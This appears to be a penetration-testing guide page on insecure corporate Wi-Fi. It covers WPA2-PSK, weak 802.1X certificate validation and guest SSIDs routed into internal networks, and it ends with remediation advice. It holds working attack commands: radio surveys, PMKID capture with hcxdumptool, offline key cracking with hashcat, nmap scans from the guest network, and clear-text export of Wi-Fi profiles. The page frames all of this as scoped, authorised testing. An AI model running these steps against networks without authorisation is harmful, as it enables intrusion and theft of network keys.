Insecure Wireless Network Access
How Insecure Wireless Network Access works
Insecure wireless network access is a corporate SSID anyone with a shared key can join, or an enterprise SSID whose clients skip certificate checks. WPA2-Personal on a corporate SSID turns network membership into a string that sits in an onboarding email, a laminated card in a meeting room and every device any leaver ever owned. WPA2-Enterprise removes the shared secret but moves the trust decision onto the client: if the supplicant profile does not pin a trusted root and a RADIUS server name, the client will hand its identity to any access point advertising the same SSID.
The radio edge ignores the building. An attacker in the car park, the neighbouring tenant’s office or the lobby is already at the socket, so the wireless control is the only thing between them and the user VLAN. Two failures make it worse. A guest SSID that terminates on the internal routing domain instead of a separate egress path gives an unauthenticated visitor the same reachability as staff, and it is easy to miss because guest works exactly as intended from the user’s point of view. The PSK case is missed because nothing changes when the key leaks: capture is passive, cracking is offline, and the first evidence of compromise is an authenticated session that looks like everyone else’s.
Insecure Wireless Network Access in practice
Survey the in-scope radios and record their authentication modes
Establish which SSIDs the client owns and what each one negotiates, before touching anything. Work from the BSSID list in the scope document, because a survey in a shared building sees tenants you are not authorised to test.
# quick read, no monitor mode needed
nmcli -f SSID,BSSID,CHAN,SECURITY,SIGNAL dev wifi list --rescan yes
# full survey, limited to the SSIDs named in scope
sudo airmon-ng start wlan0
sudo airodump-ng --band abg --essid-regex '^(CORP|GUEST|VOICE)-' \
-w /tmp/survey --output-format csv wlan0monRead the AUTH column: PSK on an SSID that carries staff traffic is the finding, MGT means 802.1X and moves the test to certificate validation. Record every BSSID advertising each SSID, because one forgotten branch access point still running the old PSK profile is enough.
Capture PSK material and crack it offline
Association material is enough; the session itself is never joined. Prefer a PMKID from the access point over waiting for a client handshake, and do not deauthenticate: deauthentication drops real users and, in a shared building, hits devices outside the engagement.
# scope filter first - flag names differ between hcxdumptool versions, check --help
printf '%s\n' aa:bb:cc:11:22:33 aa:bb:cc:11:22:34 > /tmp/scope-bssid.txt
sudo hcxdumptool -i wlan0mon -w /tmp/wifi.pcapng \
--filterlist_ap=/tmp/scope-bssid.txt --filtermode=2 --disable_deauthentication
# convert and crack offline, on the test rig, never on client hardware
hcxpcapngtool -o /tmp/corp.hc22000 /tmp/wifi.pcapng
hashcat -m 22000 /tmp/corp.hc22000 /opt/wordlists/corp-lab.txt -r /opt/rules/best64.ruleA recovered key is the finding, and the report needs the crack time and the wordlist class, not the key itself. Record the key as <RECOVERED_PSK> in the body of the report and hand it over separately.
Prove where the guest SSID actually lands
Guest is only isolated if its traffic never enters the internal routing domain. Join with an in-scope test device and follow the path.
$ nmcli dev wifi connect "GUEST-WIFI" --ask
$ ip -4 addr show dev wlan0
inet 172.20.5.63/22 scope global dynamic wlan0
$ ip route
default via 172.20.4.1 dev wlan0
$ traceroute -n 10.10.30.10
1 172.20.4.1 1.9 ms
2 10.10.1.1 2.4 ms <- internal core hop: guest is routed inside
3 10.10.30.10 2.8 ms
$ nmap -Pn -n --open -p 53,445,3389 10.10.30.0/24
10.10.30.10 445/tcp open microsoft-ds
10.10.30.22 3389/tcp open ms-wbt-server
<- FINDING: unauthenticated guest reaches the server VLAN
$ ping -c1 172.20.5.64 <- second test device on the same SSID
64 bytes from 172.20.5.64 <- FINDING: no client isolation between guest devicesCorrect behaviour is a lease, a default route to an internet-only edge, no reply from any internal RFC1918 address, and no guest-to-guest reachability. Anything else is a segmentation finding and should be scoped with the matrix probes on the Flat Networks And Missing Segmentation page.
Check server-certificate validation in the client profile
An evil twin is the real-world attack, but standing one up in a shared building captures credentials from tenants and passers-by who are not in scope, so validate the client-side setting instead. The exported profile answers the same question with no radio involved.
netsh wlan show profiles
netsh wlan export profile name="CORP-WIFI" folder="C:\Temp\wlan" key=clear
Select-String -Path C:\Temp\wlan\*.xml -Pattern @(
'<authentication>',
'ServerValidation',
'DisableUserPromptForServerValidation',
'TrustedRootCA',
'ServerNames',
'PerformServerValidation'
)<authentication>WPA2PSK</authentication> confirms the shared-key finding. On an enterprise profile, DisableUserPromptForServerValidation set to false, an empty ServerNames, or a missing TrustedRootCA thumbprint means the client will prompt and the user will accept, exposing the MSCHAPv2 exchange to an evil twin. Treat the recovered identities as feeding the Password Spraying Internal Services page rather than replaying them here. Check the deployed wireless GPO or MDM profile too, since a locally edited profile does not prove what policy pushes.
How to fix and prevent Insecure Wireless Network Access
- Enforce server-certificate validation before anything else
- Push the wireless profile by GPO or MDM with the trusted root thumbprint pinned and the RADIUS server names listed, and set the user prompt to disabled so nobody can accept a rogue certificate.
- This is the one change that costs nothing and removes the credential-capture path immediately.
- Move the corporate SSID to EAP-TLS with device certificates
- Certificate identity removes the shared secret and the MSCHAPv2 exchange in one step, and ties network access to an enrolled device.
- Run the new SSID alongside the old one during migration, then retire the old SSID rather than leaving it broadcasting.
- Terminate guest traffic outside the internal routing domain
- Guest should reach an internet edge and nothing else, with client isolation on so guest devices cannot see each other.
- Verify by test, not by configuration review: the traceroute from a guest lease is the evidence.
- If a PSK must stay, contain it
- Restrict it to its own VLAN with no route to internal zones, rotate on every staff change, and never use it for an SSID that carries staff or management traffic.
- Partial control only: a key shared with more than a handful of devices is already public, and rotation just resets the clock.
- Monitor the radio environment for unexpected BSSIDs
- Use the controller’s rogue-AP detection to alert on any BSSID advertising a corporate SSID from outside the managed access point list, and on branch access points still offering a retired SSID.
Last updated
